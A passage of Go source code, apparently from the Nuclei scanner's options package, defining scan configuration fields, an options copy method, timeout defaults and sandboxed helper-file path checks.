requests\n\tForceAttemptHTTP2 bool\n\t// StatsJSON writes stats output in JSON format\n\tStatsJSON bool\n\t// CDPEndpoint specifies the endpoint for Chrome DevTools Protocol (CDP)\n\tCDPEndpoint string\n\t// Headless specifies whether to allow headless mode templates\n\tHeadless bool\n\t// ShowBrowser specifies whether the show the browser in headless mode\n\tShowBrowser bool\n\t// HeadlessOptionalArguments specifies optional arguments to pass to Chrome\n\tHeadlessOptionalArguments goflags.StringSlice\n\t// DisableClustering disables clustering of templates\n\tDisableClustering bool\n\t// UseInstalledChrome skips chrome install and use local instance\n\tUseInstalledChrome bool\n\t// SystemResolvers enables override of nuclei's DNS client opting to use system resolver stack.\n\tSystemResolvers bool\n\t// ShowActions displays a list of all headless actions\n\tShowActions bool\n\t// Deprecated: Enabled by default through clistats . Metrics enables display of metrics via an http endpoint\n\tMetrics bool\n\t// Debug mode allows debugging request/responses for the engine\n\tDebug bool\n\t// DebugRequests mode allows debugging request for the engine\n\tDebugRequests bool\n\t// DebugResponse mode allows debugging response for the engine\n\tDebugResponse bool\n\t// DisableHTTPProbe disables http probing feature of input normalization\n\tDisableHTTPProbe bool\n\t// LeaveDefaultPorts skips normalization of default ports\n\tLeaveDefaultPorts bool\n\t// AutomaticScan enables automatic tech based template execution\n\tAutomaticScan bool\n\t// Silent suppresses any extra text and only writes found URLs on screen.\n\tSilent bool\n\t// Validate validates the templates passed to nuclei.\n\tValidate bool\n\t// NoStrictSyntax disables strict syntax check on nuclei templates (allows custom key-value pairs).\n\tNoStrictSyntax bool\n\t// Verbose flag indicates whether to show verbose output or not\n\tVerbose        bool\n\tVerboseVerbose bool\n\t// ShowVarDump displays variable dump\n\tShowVarDump bool\n\t// VarDumpLimit limits the number of characters displayed in var dump\n\tVarDumpLimit int\n\t// No-Color disables the colored output.\n\tNoColor bool\n\t// UpdateTemplates updates the templates installed at startup (also used by cloud to update datasources)\n\tUpdateTemplates bool\n\t// JSON writes json line output to files\n\tJSONL bool\n\t// JSONRequests writes requests/responses for matches in JSON output\n\t// Deprecated: use OmitRawRequests instead as of now JSONRequests(include raw requests) is always true\n\tJSONRequests bool\n\t// OmitRawRequests omits requests/responses for matches in JSON output\n\tOmitRawRequests bool\n\t// HTTPStats enables http statistics tracking and display.\n\tHTTPStats bool\n\t// OmitTemplate omits encoded template from JSON output\n\tOmitTemplate bool\n\t// JSONExport is the file to export JSON output format to\n\tJSONExport string\n\t// JSONLExport is the file to export JSONL output format to\n\tJSONLExport string\n\t// PDFExport is the file to export PDF output format to\n\tPDFExport string\n\t// Redact redacts given keys in\n\tRedact goflags.StringSlice\n\t// EnableProgressBar enables progress bar\n\tEnableProgressBar bool\n\t// TemplateDisplay displays the template contents\n\tTemplateDisplay bool\n\t// TemplateList lists available templates\n\tTemplateList bool\n\t// TemplateList lists available tags\n\tTagList bool\n\t// HangMonitor enables nuclei hang monitoring\n\tHangMonitor bool\n\t// Stdin specifies whether stdin input was given to the process\n\tStdin bool\n\t// StopAtFirstMatch stops processing template at first full match (this may break chained requests)\n\tStopAtFirstMatch bool\n\t// Stream the input without sorting\n\tStream bool\n\t// NoMeta disables display of metadata for the matches\n\tNoMeta bool\n\t// Timestamp enables display of timestamp for the matcher\n\tTimestamp bool\n\t// Project is used to avoid sending same HTTP request multiple times\n\tProject bool\n\t// NewTemplates only runs newly added templates from the repository\n\tNewTemplates bool\n\t// NewTemplatesWithVersion runs new templates added in specific version\n\tNewTemplatesWithVersion goflags.StringSlice\n\t// NoInteractsh disables use of interactsh server for interaction polling\n\tNoInteractsh bool\n\t// EnvironmentVariables enables support for environment variables\n\tEnvironmentVariables bool\n\t// MatcherStatus displays optional status for the failed matches as well\n\tMatcherStatus bool\n\t// ClientCertFile client certificate file (PEM-encoded) used for authenticating against scanned hosts\n\tClientCertFile string\n\t// ClientKeyFile client key file (PEM-encoded) used for authenticating against scanned hosts\n\tClientKeyFile string\n\t// ClientCAFile client certificate authority file (PEM-encoded) used for authenticating against scanned hosts\n\tClientCAFile string\n\t// Deprecated: Use ZTLS library\n\tZTLS bool\n\t// AllowLocalFileAccess allows local file access from templates payloads\n\tAllowLocalFileAccess bool\n\t// RestrictLocalNetworkAccess restricts local network access from templates requests\n\tRestrictLocalNetworkAccess bool\n\t// ShowMatchLine enables display of match line number\n\tShowMatchLine bool\n\t// EnablePprof enables exposing pprof runtime information with a webserver.\n\tEnablePprof bool\n\t// StoreResponse stores received response to output directory\n\tStoreResponse bool\n\t// StoreResponseDir stores received response to custom directory\n\tStoreResponseDir string\n\t// DisableRedirects disables following redirects for http request module\n\tDisableRedirects bool\n\t// SNI custom hostname\n\tSNI string\n\t// InputFileMode specifies the mode of input file (jsonl, burp, openapi, swagger, etc)\n\tInputFileMode string\n\t// DialerKeepAlive sets the keep alive duration for network requests.\n\tDialerKeepAlive time.Duration\n\t// Interface to use for network scan\n\tInterface string\n\t// SourceIP sets custom source IP address for network requests\n\tSourceIP string\n\t// AttackType overrides template level attack-type configuration\n\tAttackType string\n\t// ResponseReadSize is the maximum size of response to read\n\tResponseReadSize int\n\t// ResponseSaveSize is the maximum size of response to save\n\tResponseSaveSize int\n\t// Health Check\n\tHealthCheck bool\n\t// Time to wait between each input read operation before closing the stream\n\tInputReadTimeout time.Duration\n\t// Disable stdin for input processing\n\tDisableStdin bool\n\t// IncludeConditions is the list of conditions templates should match\n\tIncludeConditions goflags.StringSlice\n\t// Enable uncover engine\n\tUncover bool\n\t// Uncover search query\n\tUncoverQuery goflags.StringSlice\n\t// Uncover search engine\n\tUncoverEngine goflags.StringSlice\n\t// Uncover search field\n\tUncoverField string\n\t// Uncover search limit\n\tUncoverLimit int\n\t// Uncover search delay\n\tUncoverRateLimit int\n\t// ScanAllIPs associated to a dns record\n\tScanAllIPs bool\n\t// IPVersion to scan (4,6)\n\tIPVersion goflags.StringSlice\n\t// PublicTemplateDisableDownload disables downloading templates from the nuclei-templates public repository\n\tPublicTemplateDisableDownload bool\n\t// GitHub token used to clone/pull from private repos for custom templates\n\tGitHubToken string\n\t// GitHubTemplateRepo is the list of custom public/private templates GitHub repos\n\tGitHubTemplateRepo []string\n\t// GitHubTemplateDisableDownload disables downloading templates from custom GitHub repositories\n\tGitHubTemplateDisableDownload bool\n\t// GitLabServerURL is the gitlab server to use for custom templates\n\tGitLabServerURL string\n\t// GitLabToken used to clone/pull from private repos for custom templates\n\tGitLabToken string\n\t// GitLabTemplateRepositoryIDs is the comma-separated list of custom gitlab repositories IDs\n\tGitLabTemplateRepositoryIDs []int\n\t// GitLabTemplateDisableDownload disables downloading templates from custom GitLab repositories\n\tGitLabTemplateDisableDownload bool\n\t// AWS access profile from ~/.aws/credentials file for downloading templates from S3 bucket\n\tAwsProfile string\n\t// AWS access key for downloading templates from S3 bucket\n\tAwsAccessKey string\n\t// AWS secret key for downloading templates from S3 bucket\n\tAwsSecretKey string\n\t// AWS bucket name for downloading templates from S3 bucket\n\tAwsBucketName string\n\t// AWS Region name where AWS S3 bucket is located\n\tAwsRegion string\n\t// AwsTemplateDisableDownload disables downloading templates from AWS S3 buckets\n\tAwsTemplateDisableDownload bool\n\t// AzureContainerName for downloading templates from Azure Blob Storage. Example: templates\n\tAzureContainerName string\n\t// AzureTenantID for downloading templates from Azure Blob Storage. Example: 00000000-0000-0000-0000-000000000000\n\tAzureTenantID string\n\t// AzureClientID for downloading templates from Azure Blob Storage. Example: 00000000-0000-0000-0000-000000000000\n\tAzureClientID string\n\t// AzureClientSecret for downloading templates from Azure Blob Storage. Example: 00000000-0000-0000-0000-000000000000\n\tAzureClientSecret string\n\t// AzureServiceURL for downloading templates from Azure Blob Storage. Example: https://XXXXXXXXXX.blob.core.windows.net/\n\tAzureServiceURL string\n\t// AzureTemplateDisableDownload disables downloading templates from Azure Blob Storage\n\tAzureTemplateDisableDownload bool\n\t// Scan Strategy (auto,hosts-spray,templates-spray)\n\tScanStrategy string\n\t// Fuzzing Type overrides template level fuzzing-type configuration\n\tFuzzingType string\n\t// Fuzzing Mode overrides template level fuzzing-mode configuration\n\tFuzzingMode string\n\t// TlsImpersonate enables TLS impersonation\n\tTlsImpersonate bool\n\t// DisplayFuzzPoints enables display of fuzz points for fuzzing\n\tDisplayFuzzPoints bool\n\t// FuzzAggressionLevel is the level of fuzzing aggression (low, medium, high.)\n\tFuzzAggressionLevel string\n\t// FuzzParamFrequency is the frequency of fuzzing parameters\n\tFuzzParamFrequency int\n\t// CodeTemplateSignaturePublicKey is the custom public key used to verify the template signature (algorithm is automatically inferred from the length)\n\tCodeTemplateSignaturePublicKey string\n\t// CodeTemplateSignatureAlgorithm specifies the sign algorithm (rsa, ecdsa)\n\tCodeTemplateSignatureAlgorithm string\n\t// SignTemplates enables signing of templates\n\tSignTemplates bool\n\t// EnableCodeTemplates enables code templates\n\tEnableCodeTemplates bool\n\t// DisableUnsignedTemplates disables processing of unsigned templates\n\tDisableUnsignedTemplates bool\n\t// EnableSelfContainedTemplates enables processing of self-contained templates\n\tEnableSelfContainedTemplates bool\n\t// EnableGlobalMatchersTemplates enables processing of global-matchers templates\n\tEnableGlobalMatchersTemplates bool\n\t// EnableFileTemplates enables file templates\n\tEnableFileTemplates bool\n\t// Disables cloud upload\n\tEnableCloudUpload bool\n\t// ScanID is the scan ID to use for cloud upload\n\tScanID string\n\t// ScanName is the name of the scan to be uploaded\n\tScanName string\n\t// ScanUploadFile is the jsonl file to upload scan results to cloud\n\tScanUploadFile string\n\t// TeamID is the team ID to use for cloud upload\n\tTeamID string\n\t// JsConcurrency is the number of concurrent js routines to run\n\tJsConcurrency int\n\t// SecretsFile is file containing secrets for nuclei\n\tSecretsFile goflags.StringSlice\n\t// PreFetchSecrets pre-fetches the secrets from the auth provider\n\tPreFetchSecrets bool\n\t// FormatUseRequiredOnly only uses required fields when generating requests\n\tFormatUseRequiredOnly bool\n\t// SkipFormatValidation is used to skip format validation\n\tSkipFormatValidation bool\n\t// VarsTextTemplating is used to inject variables into yaml input files\n\tVarsTextTemplating bool\n\t// VarsFilePaths is  used to inject variables into yaml input files from a file\n\tVarsFilePaths goflags.StringSlice\n\t// PayloadConcurrency is the number of concurrent payloads to run per template\n\tPayloadConcurrency int\n\t// ProbeConcurrency is the number of concurrent http probes to run with httpx\n\tProbeConcurrency int\n\t// TemplateLoadingConcurrency is the number of concurrent template loading operations\n\tTemplateLoadingConcurrency int\n\t// Dast only runs DAST templates\n\tDAST bool\n\t// DASTServer is the flag to start nuclei as a DAST server\n\tDASTServer bool\n\t// DASTServerToken is the token optional for the dast server\n\tDASTServerToken string\n\t// DASTServerAddress is the address for the dast server\n\tDASTServerAddress string\n\t// DASTReport enables dast report server & final report generation\n\tDASTReport bool\n\t// Scope contains a list of regexes for in-scope URLS\n\tScope goflags.StringSlice\n\t// OutOfScope contains a list of regexes for out-scope URLS\n\tOutOfScope goflags.StringSlice\n\t// HttpApiEndpoint is the experimental http api endpoint\n\tHttpApiEndpoint string\n\t// ListTemplateProfiles lists all available template profiles\n\tListTemplateProfiles bool\n\t// LoadHelperFileFunction is a function that will be used to execute LoadHelperFile.\n\t// If none is provided, then the default implementation will be used.\n\tLoadHelperFileFunction LoadHelperFileFunction\n\t// Logger is the gologger instance for this optionset\n\tLogger *gologger.Logger\n\t// NoCacheTemplates disables caching of templates\n\tDoNotCacheTemplates bool\n\t// Unique identifier of the execution session\n\tExecutionId string\n\t// Parser is a cached parser for the template store\n\tParser any\n\t// timeouts contains various types of timeouts used in nuclei\n\t// these timeouts are derived from dial-timeout (-timeout) with known multipliers\n\t// This is internally managed and does not need to be set by user by explicitly setting\n\t// this overrides the default/derived one\n\ttimeouts *Timeouts\n\t// m is a mutex to protect timeouts from concurrent access\n\tm sync.Mutex\n}\n\nfunc (options *Options) Copy() *Options {\n\toptCopy := &Options{\n\t\tTags:                           options.Tags,\n\t\tExcludeTags:                    options.ExcludeTags,\n\t\tWorkflows:                      options.Workflows,\n\t\tWorkflowURLs:                   options.WorkflowURLs,\n\t\tTemplates:                      options.Templates,\n\t\tTemplateURLs:                   options.TemplateURLs,\n\t\tAITemplatePrompt:               options.AITemplatePrompt,\n\t\tRemoteTemplateDomainList:       options.RemoteTemplateDomainList,\n\t\tExcludedTemplates:              options.ExcludedTemplates,\n\t\tExcludeMatchers:                options.ExcludeMatchers,\n\t\tCustomHeaders:                  options.CustomHeaders,\n\t\tVars:                           options.Vars,\n\t\tSeverities:                     options.Severities,\n\t\tExcludeSeverities:              options.ExcludeSeverities,\n\t\tAuthors:                        options.Authors,\n\t\tProtocols:                      options.Protocols,\n\t\tExcludeProtocols:               options.ExcludeProtocols,\n\t\tIncludeTags:                    options.IncludeTags,\n\t\tIncludeTemplates:               options.IncludeTemplates,\n\t\tIncludeIds:                     options.IncludeIds,\n\t\tExcludeIds:                     options.ExcludeIds,\n\t\tInternalResolversList:          options.InternalResolversList,\n\t\tProjectPath:                    options.ProjectPath,\n\t\tInteractshURL:                  options.InteractshURL,\n\t\tInteractshToken:                options.InteractshToken,\n\t\tTargets:                        options.Targets,\n\t\tExcludeTargets:                 options.ExcludeTargets,\n\t\tTargetsFilePath:                options.TargetsFilePath,\n\t\tResume:                         options.Resume,\n\t\tOutput:                         options.Output,\n\t\tProxyInternal:                  options.ProxyInternal,\n\t\tListDslSignatures:              options.ListDslSignatures,\n\t\tProxy:                          options.Proxy,\n\t\tAliveHttpProxy:                 options.AliveHttpProxy,\n\t\tAliveSocksProxy:                options.AliveSocksProxy,\n\t\tNewTemplatesDirectory:          options.NewTemplatesDirectory,\n\t\tTraceLogFile:                   options.TraceLogFile,\n\t\tErrorLogFile:                   options.ErrorLogFile,\n\t\tReportingDB:                    options.ReportingDB,\n\t\tReportingConfig:                options.ReportingConfig,\n\t\tMarkdownExportDirectory:        options.MarkdownExportDirectory,\n\t\tMarkdownExportSortMode:         options.MarkdownExportSortMode,\n\t\tSarifExport:                    options.SarifExport,\n\t\tResolversFile:                  options.ResolversFile,\n\t\tStatsInterval:                  options.StatsInterval,\n\t\tMetricsPort:                    options.MetricsPort,\n\t\tMaxHostError:                   options.MaxHostError,\n\t\tTrackError:                     options.TrackError,\n\t\tNoHostErrors:                   options.NoHostErrors,\n\t\tBulkSize:                       options.BulkSize,\n\t\tTemplateThreads:                options.TemplateThreads,\n\t\tHeadlessBulkSize:               options.HeadlessBulkSize,\n\t\tHeadlessTemplateThreads:        options.HeadlessTemplateThreads,\n\t\tTimeout:                        options.Timeout,\n\t\tRetries:                        options.Retries,\n\t\tRateLimit:                      options.RateLimit,\n\t\tRateLimitDuration:              options.RateLimitDuration,\n\t\tRateLimitMinute:                options.RateLimitMinute,\n\t\tPageTimeout:                    options.PageTimeout,\n\t\tInteractionsCacheSize:          options.InteractionsCacheSize,\n\t\tInteractionsPollDuration:       options.InteractionsPollDuration,\n\t\tInteractionsEviction:           options.InteractionsEviction,\n\t\tInteractionsCoolDownPeriod:     options.InteractionsCoolDownPeriod,\n\t\tMaxRedirects:                   options.MaxRedirects,\n\t\tFollowRedirects:                options.FollowRedirects,\n\t\tFollowHostRedirects:            options.FollowHostRedirects,\n\t\tOfflineHTTP:                    options.OfflineHTTP,\n\t\tForceAttemptHTTP2:              options.ForceAttemptHTTP2,\n\t\tStatsJSON:                      options.StatsJSON,\n\t\tHeadless:                       options.Headless,\n\t\tShowBrowser:                    options.ShowBrowser,\n\t\tHeadlessOptionalArguments:      options.HeadlessOptionalArguments,\n\t\tDisableClustering:              options.DisableClustering,\n\t\tUseInstalledChrome:             options.UseInstalledChrome,\n\t\tSystemResolvers:                options.SystemResolvers,\n\t\tShowActions:                    options.ShowActions,\n\t\tMetrics:                        options.Metrics,\n\t\tDebug:                          options.Debug,\n\t\tDebugRequests:                  options.DebugRequests,\n\t\tDebugResponse:                  options.DebugResponse,\n\t\tDisableHTTPProbe:               options.DisableHTTPProbe,\n\t\tLeaveDefaultPorts:              options.LeaveDefaultPorts,\n\t\tAutomaticScan:                  options.AutomaticScan,\n\t\tSilent:                         options.Silent,\n\t\tValidate:                       options.Validate,\n\t\tNoStrictSyntax:                 options.NoStrictSyntax,\n\t\tVerbose:                        options.Verbose,\n\t\tVerboseVerbose:                 options.VerboseVerbose,\n\t\tShowVarDump:                    options.ShowVarDump,\n\t\tVarDumpLimit:                   options.VarDumpLimit,\n\t\tNoColor:                        options.NoColor,\n\t\tUpdateTemplates:                options.UpdateTemplates,\n\t\tJSONL:                          options.JSONL,\n\t\tJSONRequests:                   options.JSONRequests,\n\t\tOmitRawRequests:                options.OmitRawRequests,\n\t\tHTTPStats:                      options.HTTPStats,\n\t\tOmitTemplate:                   options.OmitTemplate,\n\t\tJSONExport:                     options.JSONExport,\n\t\tJSONLExport:                    options.JSONLExport,\n\t\tPDFExport:                      options.PDFExport,\n\t\tRedact:                         options.Redact,\n\t\tEnableProgressBar:              options.EnableProgressBar,\n\t\tTemplateDisplay:                options.TemplateDisplay,\n\t\tTemplateList:                   options.TemplateList,\n\t\tTagList:                        options.TagList,\n\t\tHangMonitor:                    options.HangMonitor,\n\t\tStdin:                          options.Stdin,\n\t\tStopAtFirstMatch:               options.StopAtFirstMatch,\n\t\tStream:                         options.Stream,\n\t\tNoMeta:                         options.NoMeta,\n\t\tTimestamp:                      options.Timestamp,\n\t\tProject:                        options.Project,\n\t\tNewTemplates:                   options.NewTemplates,\n\t\tNewTemplatesWithVersion:        options.NewTemplatesWithVersion,\n\t\tNoInteractsh:                   options.NoInteractsh,\n\t\tEnvironmentVariables:           options.EnvironmentVariables,\n\t\tMatcherStatus:                  options.MatcherStatus,\n\t\tClientCertFile:                 options.ClientCertFile,\n\t\tClientKeyFile:                  options.ClientKeyFile,\n\t\tClientCAFile:                   options.ClientCAFile,\n\t\tZTLS:                           options.ZTLS,\n\t\tAllowLocalFileAccess:           options.AllowLocalFileAccess,\n\t\tRestrictLocalNetworkAccess:     options.RestrictLocalNetworkAccess,\n\t\tShowMatchLine:                  options.ShowMatchLine,\n\t\tEnablePprof:                    options.EnablePprof,\n\t\tStoreResponse:                  options.StoreResponse,\n\t\tStoreResponseDir:               options.StoreResponseDir,\n\t\tDisableRedirects:               options.DisableRedirects,\n\t\tSNI:                            options.SNI,\n\t\tInputFileMode:                  options.InputFileMode,\n\t\tDialerKeepAlive:                options.DialerKeepAlive,\n\t\tInterface:                      options.Interface,\n\t\tSourceIP:                       options.SourceIP,\n\t\tAttackType:                     options.AttackType,\n\t\tResponseReadSize:               options.ResponseReadSize,\n\t\tResponseSaveSize:               options.ResponseSaveSize,\n\t\tHealthCheck:                    options.HealthCheck,\n\t\tInputReadTimeout:               options.InputReadTimeout,\n\t\tDisableStdin:                   options.DisableStdin,\n\t\tIncludeConditions:              options.IncludeConditions,\n\t\tUncover:                        options.Uncover,\n\t\tUncoverQuery:                   options.UncoverQuery,\n\t\tUncoverEngine:                  options.UncoverEngine,\n\t\tUncoverField:                   options.UncoverField,\n\t\tUncoverLimit:                   options.UncoverLimit,\n\t\tUncoverRateLimit:               options.UncoverRateLimit,\n\t\tScanAllIPs:                     options.ScanAllIPs,\n\t\tIPVersion:                      options.IPVersion,\n\t\tPublicTemplateDisableDownload:  options.PublicTemplateDisableDownload,\n\t\tGitHubToken:                    options.GitHubToken,\n\t\tGitHubTemplateRepo:             options.GitHubTemplateRepo,\n\t\tGitHubTemplateDisableDownload:  options.GitHubTemplateDisableDownload,\n\t\tGitLabServerURL:                options.GitLabServerURL,\n\t\tGitLabToken:                    options.GitLabToken,\n\t\tGitLabTemplateRepositoryIDs:    options.GitLabTemplateRepositoryIDs,\n\t\tGitLabTemplateDisableDownload:  options.GitLabTemplateDisableDownload,\n\t\tAwsProfile:                     options.AwsProfile,\n\t\tAwsAccessKey:                   options.AwsAccessKey,\n\t\tAwsSecretKey:                   options.AwsSecretKey,\n\t\tAwsBucketName:                  options.AwsBucketName,\n\t\tAwsRegion:                      options.AwsRegion,\n\t\tAwsTemplateDisableDownload:     options.AwsTemplateDisableDownload,\n\t\tAzureContainerName:             options.AzureContainerName,\n\t\tAzureTenantID:                  options.AzureTenantID,\n\t\tAzureClientID:                  options.AzureClientID,\n\t\tAzureClientSecret:              options.AzureClientSecret,\n\t\tAzureServiceURL:                options.AzureServiceURL,\n\t\tAzureTemplateDisableDownload:   options.AzureTemplateDisableDownload,\n\t\tScanStrategy:                   options.ScanStrategy,\n\t\tFuzzingType:                    options.FuzzingType,\n\t\tFuzzingMode:                    options.FuzzingMode,\n\t\tTlsImpersonate:                 options.TlsImpersonate,\n\t\tDisplayFuzzPoints:              options.DisplayFuzzPoints,\n\t\tFuzzAggressionLevel:            options.FuzzAggressionLevel,\n\t\tFuzzParamFrequency:             options.FuzzParamFrequency,\n\t\tCodeTemplateSignaturePublicKey: options.CodeTemplateSignaturePublicKey,\n\t\tCodeTemplateSignatureAlgorithm: options.CodeTemplateSignatureAlgorithm,\n\t\tSignTemplates:                  options.SignTemplates,\n\t\tEnableCodeTemplates:            options.EnableCodeTemplates,\n\t\tDisableUnsignedTemplates:       options.DisableUnsignedTemplates,\n\t\tEnableSelfContainedTemplates:   options.EnableSelfContainedTemplates,\n\t\tEnableGlobalMatchersTemplates:  options.EnableGlobalMatchersTemplates,\n\t\tEnableFileTemplates:            options.EnableFileTemplates,\n\t\tEnableCloudUpload:              options.EnableCloudUpload,\n\t\tScanID:                         options.ScanID,\n\t\tScanName:                       options.ScanName,\n\t\tScanUploadFile:                 options.ScanUploadFile,\n\t\tTeamID:                         options.TeamID,\n\t\tJsConcurrency:                  options.JsConcurrency,\n\t\tSecretsFile:                    options.SecretsFile,\n\t\tPreFetchSecrets:                options.PreFetchSecrets,\n\t\tFormatUseRequiredOnly:          options.FormatUseRequiredOnly,\n\t\tSkipFormatValidation:           options.SkipFormatValidation,\n\t\tPayloadConcurrency:             options.PayloadConcurrency,\n\t\tProbeConcurrency:               options.ProbeConcurrency,\n\t\tDAST:                           options.DAST,\n\t\tDASTServer:                     options.DASTServer,\n\t\tDASTServerToken:                options.DASTServerToken,\n\t\tDASTServerAddress:              options.DASTServerAddress,\n\t\tDASTReport:                     options.DASTReport,\n\t\tScope:                          options.Scope,\n\t\tOutOfScope:                     options.OutOfScope,\n\t\tHttpApiEndpoint:                options.HttpApiEndpoint,\n\t\tListTemplateProfiles:           options.ListTemplateProfiles,\n\t\tLoadHelperFileFunction:         options.LoadHelperFileFunction,\n\t\tLogger:                         options.Logger,\n\t\tDoNotCacheTemplates:            options.DoNotCacheTemplates,\n\t\tExecutionId:                    options.ExecutionId,\n\t\tParser:                         options.Parser,\n\t}\n\toptCopy.SetTimeouts(options.timeouts)\n\treturn optCopy\n}\n\n// SetTimeouts sets the timeout variants to use for the executor\nfunc (opts *Options) SetTimeouts(t *Timeouts) {\n\topts.timeouts = t\n}\n\n// GetTimeouts returns the timeout variants to use for the executor\nfunc (eo *Options) GetTimeouts() *Timeouts {\n\teo.m.Lock()\n\tdefer eo.m.Unlock()\n\tif eo.timeouts != nil {\n\t\t// redundant but apply to avoid any potential issues\n\t\teo.timeouts.ApplyDefaults()\n\t\treturn eo.timeouts\n\t}\n\t// set timeout variant value\n\teo.timeouts = NewTimeoutVariant(eo.Timeout)\n\teo.timeouts.ApplyDefaults()\n\treturn eo.timeouts\n}\n\n// Timeouts is a struct that contains all the timeout variants for nuclei\n// dialer timeout is used to derive other timeouts\ntype Timeouts struct {\n\t// DialTimeout for fastdialer (default 10s)\n\tDialTimeout time.Duration\n\t// Tcp(Network Protocol) Read From Connection Timeout (default 5s)\n\tTcpReadTimeout time.Duration\n\t// Http Response Header Timeout (default 10s)\n\t// this timeout prevents infinite hangs started by server if any\n\t// this is temporarily overridden when using @timeout request annotation\n\tHttpResponseHeaderTimeout time.Duration\n\t// HttpTimeout for http client (default -> 3 x dial-timeout = 30s)\n\tHttpTimeout time.Duration\n\t// JsCompilerExec timeout/deadline (default -> 2 x dial-timeout = 20s)\n\tJsCompilerExecutionTimeout time.Duration\n\t// CodeExecutionTimeout for code execution (default -> 3 x dial-timeout = 30s)\n\tCodeExecutionTimeout time.Duration\n}\n\n// NewTimeoutVariant creates a new timeout variant with the given dial timeout in seconds\nfunc NewTimeoutVariant(dialTimeoutSec int) *Timeouts {\n\ttv := &Timeouts{\n\t\tDialTimeout: time.Duration(dialTimeoutSec) * time.Second,\n\t}\n\ttv.ApplyDefaults()\n\treturn tv\n}\n\n// ApplyDefaults applies default values to timeout variants when missing\nfunc (tv *Timeouts) ApplyDefaults() {\n\tif tv.DialTimeout == 0 {\n\t\ttv.DialTimeout = 10 * time.Second\n\t}\n\tif tv.TcpReadTimeout == 0 {\n\t\ttv.TcpReadTimeout = 5 * time.Second\n\t}\n\tif tv.HttpTimeout == 0 {\n\t\ttv.HttpTimeout = 3 * tv.DialTimeout\n\t}\n\tif tv.HttpResponseHeaderTimeout < tv.HttpTimeout {\n\t\ttv.HttpResponseHeaderTimeout = tv.HttpTimeout\n\t}\n\tif tv.JsCompilerExecutionTimeout == 0 {\n\t\ttv.JsCompilerExecutionTimeout = 2 * tv.DialTimeout\n\t}\n\tif tv.CodeExecutionTimeout == 0 {\n\t\ttv.CodeExecutionTimeout = 3 * tv.DialTimeout\n\t}\n}\n\n// ShouldLoadResume resume file\nfunc (options *Options) ShouldLoadResume() bool {\n\treturn options.Resume != \"\" && fileutil.FileExists(options.Resume)\n}\n\n// ShouldSaveResume file\nfunc (options *Options) ShouldSaveResume() bool {\n\treturn true\n}\n\n// ShouldFollowHTTPRedirects determines if http redirects should be followed\nfunc (options *Options) ShouldFollowHTTPRedirects() bool {\n\treturn options.FollowRedirects || options.FollowHostRedirects\n}\n\n// HasClientCertificates determines if any client certificate was specified\nfunc (options *Options) HasClientCertificates() bool {\n\treturn options.ClientCertFile != \"\" || options.ClientCAFile != \"\" || options.ClientKeyFile != \"\"\n}\n\n// DefaultOptions returns default options for nuclei\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tRateLimit:                  150,\n\t\tRateLimitDuration:          time.Second,\n\t\tBulkSize:                   25,\n\t\tTemplateThreads:            25,\n\t\tHeadlessBulkSize:           10,\n\t\tPayloadConcurrency:         25,\n\t\tHeadlessTemplateThreads:    10,\n\t\tProbeConcurrency:           50,\n\t\tTemplateLoadingConcurrency: DefaultTemplateLoadingConcurrency,\n\t\tTimeout:                    5,\n\t\tRetries:                    1,\n\t\tMaxHostError:               30,\n\t\tResponseReadSize:           10 * unitutils.Mega,\n\t\tResponseSaveSize:           unitutils.Mega,\n\t\tExecutionId:                xid.New().String(),\n\t\tLogger:                     &gologger.Logger{},\n\t}\n}\n\nfunc (options *Options) ShouldUseHostError() bool {\n\treturn options.MaxHostError > 0 && !options.NoHostErrors\n}\n\nfunc (options *Options) ParseHeadlessOptionalArguments() map[string]string {\n\toptionalArguments := make(map[string]string)\n\tfor _, v := range options.HeadlessOptionalArguments {\n\t\tif argParts := strings.SplitN(v, \"=\", 2); len(argParts) >= 2 {\n\t\t\tkey := strings.TrimSpace(argParts[0])\n\t\t\tvalue := strings.TrimSpace(argParts[1])\n\t\t\tif key != \"\" && value != \"\" {\n\t\t\t\toptionalArguments[key] = value\n\t\t\t}\n\t\t}\n\t}\n\treturn optionalArguments\n}\n\n// LoadHelperFile loads a helper file needed for the template.\n//\n// If LoadHelperFileFunction is set, then that function will be used.\n// Otherwise, the default implementation will be used, which respects the sandbox rules and only loads files from allowed directories.\nfunc (options *Options) LoadHelperFile(helperFile, templatePath string, catalog catalog.Catalog) (io.ReadCloser, error) {\n\tif options.LoadHelperFileFunction != nil {\n\t\treturn options.LoadHelperFileFunction(helperFile, templatePath, catalog)\n\t}\n\treturn options.defaultLoadHelperFile(helperFile, templatePath, catalog)\n}\n\n// defaultLoadHelperFile loads a helper file needed for the template\n// this respects the sandbox rules and only loads files from\n// allowed directories\nfunc (options *Options) defaultLoadHelperFile(helperFile, templatePath string, catalog catalog.Catalog) (io.ReadCloser, error) {\n\tif !options.AllowLocalFileAccess {\n\t\t// if global file access is disabled try loading with restrictions\n\t\tabsPath, err := options.GetValidAbsPath(helperFile, templatePath)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\thelperFile = absPath\n\t}\n\tf, err := os.Open(helperFile)\n\tif err != nil {\n\t\treturn nil, errkit.Wrapf(err, \"could not open file %v\", helperFile)\n\t}\n\treturn f, nil\n}\n\n// GetValidAbsPath returns absolute path of helper file if it is allowed to be loaded\n// this respects the sandbox rules and only loads files from allowed directories\nfunc (o *Options) GetValidAbsPath(helperFilePath, templatePath string) (string, error) {\n\t// Conditions to allow helper file\n\t// 1. If helper file is present in nuclei-templates directory\n\t// 2. If helper file and template file are in same directory given that its not root directory\n\n\t// resolve and clean helper file path\n\t// ResolveNClean uses a custom base path instead of CWD\n\tresolvedPath, err := fileutil.ResolveNClean(helperFilePath, config.DefaultConfig.GetTemplateDir())\n\tif err == nil {\n\t\t// As per rule 1, if helper file is present in nuclei-templates directory, allow it\n\t\tif strings.HasPrefix(resolvedPath, config.DefaultConfig.GetTemplateDir()) {\n\t\t\treturn resolvedPath, nil\n\t\t}\n\t}\n\n\t// CleanPath resolves using CWD and cleans the path\n\thelperFilePath, err = fileutil.CleanPath(helperFilePath)\n\tif err != nil {\n\t\treturn \"\", errkit.Wrapf(err, \"could not clean helper file path %v\", helperFilePath)\n\t}\n\n\ttemplatePath, err = fileutil.CleanPath(templatePath)\n\tif err != nil {\n\t\treturn \"\", errkit.Wrapf(err, \"could not clean template path %v\", templatePath)\n\t}\n\n\t// As per rule 2, if template and helper file exist in same directory or helper file existed in any child dir of template dir\n\t// and both of them are present in user home directory, allow it\n\t// Review: should we keep this rule ? add extra option to disable this ?\n\tif isHomeDir(helperFilePath) && 